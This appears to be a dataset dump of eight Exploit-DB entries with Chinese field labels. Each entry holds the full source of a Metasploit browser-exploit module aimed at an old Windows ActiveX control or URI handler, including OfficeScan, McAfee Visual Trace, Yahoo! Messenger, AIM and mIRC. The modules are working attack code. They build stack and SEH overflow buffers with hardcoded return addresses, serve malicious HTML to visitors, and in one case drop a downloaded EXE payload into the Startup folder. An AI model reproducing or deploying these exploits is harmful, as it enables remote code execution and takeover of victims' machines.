QLWD/code_shield huggingface dataset:
标题: Trend Micro OfficeScan - Client ActiveX Control Buffer Overflow (Metasploit) EDB-ID: 16535 CVE: 2007-0325 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: trendmicro_officescan.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Trend Micro OfficeScan Client ActiveX Control Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Trend Micro OfficeScan
    Corporate Edition 7.3. By sending an overly long string to the
    "CgiOnUpdate()" method located in the OfficeScanSetupINI.dll Control,
    an attacker may be able to execute arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'MC' ],
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2007-0325' ],
     [ 'OSVDB', '33040' ],
     [ 'BID', '22585' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'         => 800,
     'BadChars'      => "\x00\x09\x0a\x0d'\\",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP2 Pro English',     { 'Ret' => 0x7cc58fd8 } ],
    ],
   'DisclosureDate' => 'Feb 12 2007',
   'DefaultTarget'  => 0))
 end

 def autofilter
   false
 end

 def check_dependencies
   use_zlib
 end

 def on_request_uri(cli, request)
  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  # Randomize some things
  vname = rand_text_alpha(rand(100) + 1)
  strname = rand_text_alpha(rand(100) + 1)

  # Set the exploit buffer
  sploit =  rand_text_alpha(2149) + [target.ret].pack('V') + p.encoded

  # Build out the message
  content = %Q|
   <html>
   <object classid='clsid:08d75bb0-d2b5-11d1-88fc-0080c859833b' id='#{vname}'></object>
   <script language='javascript'>
   var #{vname} = document.getElementById('#{vname}');
   var #{strname} = new String('#{sploit}');
   #{vname}.CgiOnUpdate = #{strname};
   </script>
   </html>
   |

  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16535
标题: Zenturi ProgramChecker - ActiveX Control Arbitrary File Download (Metasploit) EDB-ID: 16540 CVE: 2007-2987 类型: REMOTE 平台: WINDOWS 发布日期: 2010-11-24 漏洞利用脚本: ##
# $Id: zenturiprogramchecker_unsafe.rb 11127 2010-11-24 19:35:38Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::EXE

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Zenturi ProgramChecker ActiveX Control Arbitrary File Download',
   'Description'    => %q{
     This module allows remote attackers to place arbitrary files on a users file system
    via the Zenturi ProgramChecker sasatl.dll (1.5.0.531) ActiveX Control.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'MC' ],
   'Version'        => '$Revision: 11127 $',
   'References'     =>
    [
     [ 'CVE', '2007-2987' ],
     [ 'OSVDB', '36715' ],
     [ 'BID', '24217' ],
    ],
   'Payload'        =>
    {
     'Space'           => 2048,
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Automatic', { } ],
    ],
   'DisclosureDate' => 'May 29 2007',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('PATH', [ true, 'The path to place the executable.', 'C:\\\\Documents and Settings\\\\All Users\\\\Start Menu\\\\Programs\\\\Startup\\\\']),
   ], self.class)
 end

 def autofilter
  false
 end

 def check_dependencies
  use_zlib
 end

 def on_request_uri(cli, request)

  payload_url =  "http://"
  payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
  payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/payload"

  if (request.uri.match(/payload/))
   return if ((p = regenerate_payload(cli)) == nil)
   data = generate_payload_exe({ :code => p.encoded })
   print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
   send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
   return
  end

  vname  = rand_text_alpha(rand(100) + 1)
  exe    = rand_text_alpha(rand(20) + 1)

  content = %Q|
  <html>
   <object id='#{vname}' classid='clsid:59DBDDA6-9A80-42A4-B824-9BC50CC172F5'></object>
   <script language="JavaScript">
    #{vname}.DownloadFile("#{payload_url}", "#{datastore['PATH']}\\#{exe}.exe", 1, 1);
   </script>
  </html>
    |

  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

  send_response_html(cli, content)

  handler(cli)

 end

end URL: https://www.exploit-db.com/exploits/16540
标题: McAfee Visual Trace - ActiveX Control Buffer Overflow (Metasploit) EDB-ID: 16538 CVE: 2006-6707 类型: REMOTE 平台: WINDOWS 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: mcafeevisualtrace_tracetarget.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'McAfee Visual Trace ActiveX Control Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in the McAfee Visual Trace 3.25 ActiveX
    Control (NeoTraceExplorer.dll 1.0.0.1). By sending a overly long string to the
    "TraceTarget()" method, an attacker may be able to execute arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'MC' ],
   'Version'        => '$Revision: 10394 $',
   'References'     =>
    [
     [ 'CVE', '2006-6707'],
     [ 'OSVDB', '32399'],
     [ 'URL', 'http://secunia.com/advisories/23463' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'         => 800,
     'BadChars'      => "\x00\x09\x0a\x0d'\\",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP Pro SP2 English',  { 'Offset' => 483, 'Ret' => 0x7c941eed } ],
    ],
   'DisclosureDate' => 'Jul 7 2007',
   'DefaultTarget'  => 0))
 end

 def autofilter
  false
 end

 def check_dependencies
  use_zlib
 end

 def on_request_uri(cli, request)
  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  # Randomize some things
  vname = rand_text_alpha(rand(100) + 1)
  strname = rand_text_alpha(rand(100) + 1)

  # Set the exploit buffer
  sploit = rand_text_alpha(target['Offset']) + [target.ret].pack('V') + p.encoded

  # Build out the message
  content = %Q|<html>
   <object classid='clsid:3E1DD897-F300-486C-BEAF-711183773554' id='#{vname}'></object>
   <script language='javascript'>
   var #{vname} = document.getElementById('#{vname}');
   var #{strname} = new String('#{sploit}');
   #{vname}.TraceTarget(#{strname});
   </script>
   </html>
   |

  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16538
标题: Yahoo! Messenger - 'YVerInfo.dll' ActiveX Control Buffer Overflow (Metasploit) EDB-ID: 16522 CVE: 2007-4515 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: yahoomessenger_fvcom.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Yahoo! Messenger YVerInfo.dll ActiveX Control Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in the Yahoo! Messenger ActiveX
    Control (YVerInfo.dll <= 2006.8.24.1). By sending a overly long string
    to the "fvCom()" method from a yahoo.com domain, an attacker may be able
    to execute arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'MC' ],
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2007-4515' ],
     [ 'OSVDB', '37739' ],
     [ 'BID', '25494' ],
     [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=591' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'         => 800,
     'BadChars'      => "\x00\x09\x0a\x0d'\\",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP2 Pro English',     { 'Ret' => 0x7cc58fd8  } ], # Tested on fully patched XPSP2 9/29/07
    ],
   'DisclosureDate' => 'Aug 30 2007',
   'DefaultTarget'  => 0))
 end

 def autofilter
   false
 end

 def check_dependencies
   use_zlib
 end

 def on_request_uri(cli, request)
  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  # Randomize some things
  vname = rand_text_alpha(rand(100) + 1)
  strname = rand_text_alpha(rand(100) + 1)

  # Set the exploit buffer
  sploit =  rand_text_english(411) + [target.ret].pack('V')
  sploit << p.encoded + rand_text_english(payload.encoded.length)

  # Build out the message
  content = %Q|
   <html>
   <object classid='clsid:D5184A39-CBDF-4A4F-AC1A-7A45A852C883' id='#{vname}'></object>
   <script language='javascript'>
   #{strname} = new String('#{sploit}');
   #{vname}.fvcom(#{strname});
   </script>
   </html>
   |

  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16522
标题: AOL Instant Messenger AIM - goaway Overflow (Metasploit) EDB-ID: 16525 CVE: 2004-0636 类型: REMOTE 平台: WINDOWS 发布日期: 2010-07-03 漏洞利用脚本: ##
# $Id: aim_goaway.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 #
 # This module acts as an HTTP server and exploits an SEH overwrite
 #
 include Msf::Exploit::Seh
 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'AOL Instant Messenger goaway Overflow',
   'Description'    => %q{
     This module exploits a flaw in the handling of AOL Instant
    Messenger's 'goaway' URI handler.  An attacker can execute
    arbitrary code by supplying a overly sized buffer as the
    'message' parameter.  This issue is known to affect AOL Instant
    Messenger 5.5.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'skape',
     'thief <thief@hick.org>'
    ],
   'Version'        => '$Revision: 9669 $',
   'References'     =>
    [
     [ 'CVE', '2004-0636' ],
     [ 'OSVDB', '8398'    ],
     [ 'BID', '10889'],
     [ 'URL', 'http://www.idefense.com/application/poi/display?id=121&type=vulnerabilities' ],
    ],
   'Payload'        =>
    {
     'Space'    => 1014,
     'MaxNops'  => 1014,
     'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
     'StackAdjustment' => -3500,
    },
   'Targets'        =>
    [
     # Target 0: Automatic
     [
      'Windows NT/2000/XP/2003 Automatic',
      {
       'Platform' => 'win',
       'Rets'     =>
        [
         0x1108118f, # proto.com: pop/pop/ret
        ],
      },
     ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Aug 09 2004'))
 end

 def on_request_uri(cli, request)
  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  # Build out the message
  msg =
   make_nops(1014 - p.encoded.length) +     # NOP sled before the payload
   p.encoded +                              # store the payload
   generate_seh_record(target['Rets'][0]) + # set up the SEH frame
   "\x90\xe9\x13\xfc\xff\xff"               # jmp -1000

  # Build the HTML content
  content = "<html><iframe src='aim:goaway?message=#{msg}'></html>"

  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16525
标题: WinDVD7 - 'IASystemInfo.dll' ActiveX Control Buffer Overflow (Metasploit) EDB-ID: 16529 CVE: 2007-0348 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: windvd7_applicationtype.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'WinDVD7 IASystemInfo.DLL ActiveX Control Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in IASystemInfo.dll ActiveX
    control in InterVideo WinDVD 7. By sending a overly long string
    to the "ApplicationType()" property, an attacker may be able to
    execute arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'MC' ],
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2007-0348' ],
     [ 'OSVDB', '34315' ],
     [ 'BID', '23071' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'         => 800,
     'BadChars'      => "\x00\x09\x0a\x0d'\\",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows 2000 Pro English ALL',   { 'Ret' => 0x75022ac4 } ],
     [ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],

    ],
   'DisclosureDate' => 'Mar 20 2007',
   'DefaultTarget'  => 0))
 end

 def on_request_uri(cli, request)
  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  # Randomize some things
  vname = rand_text_alpha(rand(100) + 1)
  strname = rand_text_alpha(rand(100) + 1)

  # Build the exploit buffer
  filler = rand_text_alpha(548)
  seh = generate_seh_payload(target.ret)
  sploit = filler + seh

  # Build out the message
  content = %Q|<html>
   <object classid='clsid:B727C217-2022-11D4-B2C6-0050DA1BD906' id='#{vname}'></object>
   <script language='javascript'>
   #{strname}= new String('#{sploit}')
   #{vname}.ApplicationType = #{strname}
   </script>
   </html>
   |

  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16529
标题: mIRC - IRC URL Buffer Overflow (Metasploit) EDB-ID: 16530 CVE: 2003-1336 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: mirc_irc_url.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'mIRC IRC URL Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in mIRC 6.1. By
    submitting an overly long and specially crafted URL to
    the 'irc' protocol, an attacker can overwrite the buffer
    and control program execution.
   },
   'License'        => MSF_LICENSE,
   'Author'         => 'MC',
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2003-1336'],
     [ 'OSVDB', '2665'],
     [ 'BID', '8819' ],
    ],

   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },

   'Payload'        =>
    {
     'Space'    => 400,
     'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
     'StackAdjustment' => -3500,
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     [ 'Windows 2000 Pro English All',   { 'Offset' => 1442, 'Ret' => 0x75022ac4 } ],
     [ 'Windows XP Pro SP0/SP1 English', { 'Offset' => 1414, 'Ret' => 0x71aa32ad } ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Oct 13 2003',
   'DefaultTarget'  => 0))
 end

 def on_request_uri(cli, request)
  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  filler =  rand_text_alphanumeric(target['Offset'], payload_badchars)
  seh    = generate_seh_payload(target.ret)
  sploit = filler + seh

  # Build the HTML content
  content = "<html><iframe src='irc://#{sploit}'></html>"

  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16530
标题: Yahoo! Messenger 8.1.0.249 - ActiveX Control Buffer Overflow (Metasploit) EDB-ID: 16519 CVE: 2007-3147 类型: REMOTE 平台: WINDOWS 发布日期: 2010-06-15 漏洞利用脚本: ##
# $Id: yahoomessenger_server.rb 9525 2010-06-15 07:18:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Yahoo! Messenger 8.1.0.249 ActiveX Control Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in the Yahoo! Webcam Upload ActiveX
    Control (ywcupl.dll) provided by Yahoo! Messenger version 8.1.0.249.
    By sending a overly long string to the "Server()" method, and then calling
    the "Send()" method, an attacker may be able to execute arbitrary code.
    Using the payloads "windows/shell_bind_tcp" and "windows/shell_reverse_tcp"
    yield for the best results.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'MC' ],
   'Version'        => '$Revision: 9525 $',
   'References'     =>
    [
     [ 'CVE', '2007-3147' ],
     [ 'OSVDB', '37082' ],
     [ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2007-June/063817.html' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'         => 800,
     'BadChars'      => "\x00\x09\x0a\x0d'\\",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP0/SP1 Pro English',     { 'Offset' => 1032, 'Ret' => 0x71aa32ad } ],
     [ 'Windows 2000 Pro English All',       { 'Offset' => 1032, 'Ret' => 0x75022ac4 } ]
    ],
   'DisclosureDate' => 'Jun 5 2007',
   'DefaultTarget'  => 0))
 end

 def on_request_uri(cli, request)
  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  # Randomize some things
  vname = rand_text_alpha(rand(100) + 1)
  strname = rand_text_alpha(rand(100) + 1)

  # Set the exploit buffer
  sploit =  rand_text_alpha(target['Offset'] - p.encoded.length) + p.encoded
  sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
  sploit << [0xe8, -775].pack('CV') + rand_text_alpha(500)

  # Build out the message
  content = %Q|<html>
<object classid='clsid:DCE2F8B1-A520-11D4-8FD0-00D0B7730277' id='#{vname}'></object>
<script language='javascript'>
#{strname} = new String('#{sploit}')
#{vname}.server = #{strname}
#{vname}.send()
</script>
</html>
|

  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16519